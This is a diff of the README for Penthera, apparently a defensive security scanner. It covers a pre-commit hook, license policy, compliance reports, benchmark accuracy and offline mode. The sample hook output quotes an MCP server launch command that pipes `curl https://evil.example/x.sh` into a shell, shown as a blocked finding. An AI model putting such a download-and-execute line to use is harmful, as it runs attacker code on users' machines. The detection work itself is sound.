+ `MIT OR GPL-3.0-only` passes `permissive` because one branch is enough, while
586
+ `MIT AND GPL-3.0-only` does not. Deprecated ids (`GPL-3.0`, `GPL-2.0+`) are
587
+ matched to their current form, so a deny of `AGPL-3.0-only` also catches a
588
+ package that says `AGPL-3.0`. A breach and `UNLICENSED` (no rights granted)
589
+ are high. A missing, custom (`SEE LICENSE IN ...`) or non-SPDX license is
590
+ medium, or high with `"unknown": "block"`. `allowPackages` exempts packages your
591
+ legal review has cleared. Findings use category `license` and appear in every
592
+ output format, and `--sbom` now records each component's license.
593
+
594
+ ## Block it before it's committed
595
+
596
+ Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs
597
+ the checks that matter on what you are about to commit, and nothing else:
598
+
599
+ ```bash
600
+ penthera hook install # writes .git/hooks/pre-commit; an existing hook is kept and runs first
601
+ penthera hook run # what the hook runs; try it on staged changes
602
+ penthera hook uninstall # removes it and puts your old hook back
603
+ ```
604
+
605
+ On staged content only (the git index, not your working tree):
606
+
607
+ - secrets and AI provider keys in staged files;
608
+ - `penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
609
+ `.cursor/`, `.claude/` and `skills/`;
610
+ - when `package-lock.json` is staged, the capability diff against HEAD's
611
+ lockfile and the license policy, for the packages this commit adds.
612
+
613
+ ```
614
+ ✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)
615
+
616
+ ✗ CRITICAL .mcp.json MCP server "x" launches by downloading and running code id b5914a44a2058da9
617
+ → Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
618
+ ✗ CRITICAL config.js:1 Anthropic API key in source sk-a…AAAA id 7a0eb6998ff38787
619
+ → Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.
620
+
621
+ Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
622
+ { "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
623
+ To skip the check for one commit: git commit --no-verify (the finding still ships)
624
+ ```
625
+
626
+ It blocks on high and critical by default and takes about 0.1 to 0.5 s.
627
+ Configure it in `penthera.policy.json`:
628
+
629
+ ```json
630
+ { "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
631
+ "checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }
632
+ ```
633
+
634
+ If husky or lefthook manage your hooks (`core.hooksPath` is set),
635
+ `penthera hook install` says so instead of overwriting them. Add one line to
636
+ that tool instead:
637
+
638
+ ```bash
639
+ # husky
640
+ echo "npx --no-install penthera hook run" >> .husky/pre-commit
641
+ ```
642
+
643
+ ```yaml
644
+ # lefthook.yml
645
+ pre-commit:
646
+ commands:
647
+ penthera:
648
+ run: npx --no-install penthera hook run
649
+ ```
650
+
651
+ ```yaml
652
+ # .pre-commit-config.yaml (pre-commit.com)
653
+ repos:
654
+ - repo: https://github.com/danoszz/penthera
655
+ rev: <tag or sha>
656
+ hooks:
657
+ - id: penthera
658
+ ```
659
+
274
660
  ---
275
661
 
276
662
  ## Compliance: NIS2 and the cyberwetgeving
@@ -288,11 +674,14 @@ helps with the paperwork around it. Offline, no accounts.
288
674
  | `--policy-pack ./policies` | Proportionate policy templates, prefilled from your gaps |
289
675
  | `--incident incident.json` | 24h / 72h / 1-month incident report drafts and deadlines |
290
676
  | `--sbom sbom.cdx.json` | CycloneDX software bill of materials |
677
+ | `--cra cra.json` | CRA Article 14 drafts: 24h / 72h / 14-day or 1-month deadlines, overdue flags |
678
+ | `--aibom aibom.cdx.json` | CycloneDX 1.6 AI-BOM: AI SDKs, models in code, MCP servers, skills, prompts |
291
679
  | `--history history.json` | Time-to-fix, ageing, and drift across scans |
292
680
  | `--suppliers suppliers.txt` | Passive red/amber/green rating of your suppliers |
293
681
 
294
682
  **Full guide, the measure-by-measure coverage table, and the limits:**
295
- [docs/compliance-nis2.md](docs/compliance-nis2.md).
683
+ [docs/compliance-nis2.md](docs/compliance-nis2.md). Cyber Resilience Act
684
+ reporting and the AI-BOM: [docs/compliance-cra.md](docs/compliance-cra.md).
296
685
 
297
686
  > Readiness tooling, not a certification and not legal advice.
298
687
 
@@ -302,7 +691,7 @@ helps with the paperwork around it. Offline, no accounts.
302
691
 
303
692
  ```yaml
304
693
  # Scan a staging URL on a schedule and upload results to GitHub Security.
305
- - run: npx penthera@1.2.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
694
+ - run: npx penthera@1.5.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
306
695
  - uses: github/codeql-action/upload-sarif@v4
307
696
  with:
308
697
  sarif_file: reports/scan.sarif
@@ -400,13 +789,34 @@ or template, the test matrix, and the release and publishing checklist.
400
789
 
401
790
  ---
402
791
 
792
+ ## Methodology and accuracy
793
+
794
+ How Penthera decides what is a finding, how sure it is, and what it cannot
795
+ see is written up in [docs/METHODOLOGY.md](docs/METHODOLOGY.md), with every
796
+ design choice tied to published research or a standard
797
+ ([references](docs/references.md)). Reports carry the same citations: each
798
+ finding gets a "Why this matters / Sources" line, and SARIF rules link to their
799
+ source.
800
+
801
+ Accuracy is measured, not claimed. `npm run bench` scans local labelled
802
+ targets offline and scores precision and recall; the current run is 19 true
803
+ positives, 3 false positives and 2 false negatives (precision 0.86, recall
804
+ 0.90). The [results](bench/RESULTS.md) list every miss and false alarm, and
805
+ the [benchmark README](bench/README.md) explains the method and its limits.
806
+
807
+ To cite Penthera, use the "Cite this repository" button on GitHub
808
+ ([CITATION.cff](CITATION.cff)).
809
+
810
+ ---
811
+
403
812
  ## Status
404
813
 
405
- **v1.2, production-ready.** URL, repo, and machine scanning, NIS2 readiness tooling, scan profiles,
406
- Markdown, JSON, and SARIF reports, session-aware auth, JWT, IDOR, OAuth, and
407
- header probes, adaptive knowledge-graph probing, a plugins and templates API,
408
- Docker, CI, and the Agent Skill are all shipped. See the [CHANGELOG](CHANGELOG.md)
409
- for the full history.
814
+ **Production-ready and moving fast.** App scanning (URL, repo, macOS machine),
815
+ dependency capability analysis and an install firewall, the AI-tooling audit, the
816
+ local fix loop with a learning store, audience reports and evidence bundles, the
817
+ PR-comment GitHub Action, and NIS2 readiness tooling are all shipped. See the
818
+ [CHANGELOG](CHANGELOG.md) for the full history and the [roadmap](ROADMAP.md) for
819
+ what is next.
410
820
 
411
821
  Penthera is actively maintained. Issues and PRs welcome.
412
822
 
@@ -419,8 +829,18 @@ you can help keep it maintained:
419
829
 
420
830
  [![Sponsor on GitHub](https://img.shields.io/badge/Sponsor-GitHub-db61a2?logo=githubsponsors)](https://github.com/sponsors/danoszz)
421
831
 
422
- Sponsorship funds new probes, broader framework coverage, and keeping the suite
423
- current with new attack patterns. Thank you.
832
+ | Tier | Monthly | You get |
833
+ |------|---------|---------|
834
+ | Individual | $5 | Thanks, and your name on the GitHub sponsors list |
835
+ | Supporter | $25 | A mention in the next release notes |
836
+ | Startup | $100 | Your name and link in this README |
837
+ | Company | $500 | Your logo in this README, and a quarterly roadmap call |
838
+
839
+ Sponsorship pays for maintainer time: keeping detection rules current, security
840
+ fixes, and the [roadmap](ROADMAP.md). It does not buy influence over findings,
841
+ a support SLA, or early access to vulnerability reports, and a logo here is not
842
+ a security endorsement of that company. Details in
843
+ [docs/funding/sponsor-tiers.md](docs/funding/sponsor-tiers.md).
424
844
 
425
845
  ---
426
846
 
@@ -428,10 +848,38 @@ current with new attack patterns. Thank you.
428
848
 
429
849
  Penthera has no telemetry. It does not collect, store, or transmit any usage data, analytics, or personal information to the author or any third party. It does not phone home.
430
850
 
431
- - **Scan traffic goes only to the target you specify.** Auth tokens passed via `--auth-bearer`, `--auth-cookie`, or `PENTHERA_*` env vars are sent only to that target.
851
+ - **Scan traffic goes to the target you specify.** Auth tokens passed via `--auth-bearer`, `--auth-cookie`, or `PENTHERA_*` env vars are sent only to that target.
852
+ - **Every request identifies itself** as `penthera/<version> (+https://github.com/danoszz/penthera)`, so a target's operator can tell where the traffic comes from. Override it with `--user-agent`.
432
853
  - **Reports stay local.** Output is written to `reports/` (gitignored) on your machine.
433
- - **JS vulnerability checks** download a public database (Retire.js) from GitHub to compare your app's libraries against known CVEs locally. No details about your target are sent.
434
- - **Recon mode** (`--recon`) queries public OSINT sources (crt.sh, web.archive.org, AlienVault OTX) with the target domain to find subdomains and historical URLs. This shares the target domain with those third-party services. Omit `--recon` to avoid it.
854
+ - **Every scan lists the third-party hosts it contacted** besides the target, in the terminal summary and in the report's "Network egress" section.
855
+
856
+ Without `--offline`, a scan may contact these third parties:
857
+
858
+ | Host | When | What it learns |
859
+ |---|---|---|
860
+ | `raw.githubusercontent.com`, `cdn.jsdelivr.net` | Retire.js check (standard and deep profiles) | That someone downloaded the public database. Nothing about your target. |
861
+ | `crt.sh`, `web.archive.org`, `otx.alienvault.com` | `--recon` only | The target domain. |
862
+ | CDN hosts serving your page's `<script src>` | Retire.js check, when a script's version can only be read from its contents | That someone fetched that public script. |
863
+
864
+ ### Fully local: `--offline`
865
+
866
+ ```bash
867
+ penthera http://localhost:3000 --offline
868
+ ```
869
+
870
+ With `--offline`, the HTTP client refuses every host except the scan target. A redirect may only move to a host on the target's registrable domain (`example.com` to `www.example.com`). In practice:
871
+
872
+ - **Recon is skipped.** No queries go to crt.sh, the Wayback Machine or OTX.
873
+ - **The Retire.js database comes from the snapshot vendored in the package** (`lib/data/retire-jsrepository.json.gz`), refreshed at each release by `scripts/refresh-retire-db.mjs`. The source URL, fetch date and SHA-256 sit next to it in `retire-jsrepository.meta.json`, so you can check it against upstream. Online scans fall back to the snapshot too when the live download fails.
874
+ - **Third-party scripts are not fetched.** A refused request is listed in the report as an inconclusive probe, not passed over silently.
875
+ - **`--suppliers` is refused**, because it rates third-party domains.
876
+ - **DNS:** reaching a remote target needs DNS. For non-local targets, the email-authentication check also looks up the target domain's SPF/DMARC/MX records through your system resolver. A `localhost` or IP target needs no DNS at all.
877
+
878
+ Penthera never fetches rules or code at runtime: templates, wordlists and the vulnerability database ship in the package.
879
+
880
+ ### Inconclusive probes
881
+
882
+ When a probe's requests time out, fail, or are refused by `--offline`, the scan records `{ probe, url, message }` in `result.errors`. The terminal summary shows "N probes inconclusive", and the Markdown report lists each one. A probe that could not run is not a clean result.
435
883
 
436
884
  You are responsible for ensuring you are authorized to scan any target. See [Ethical use](#ethical-use--authorization).
437
885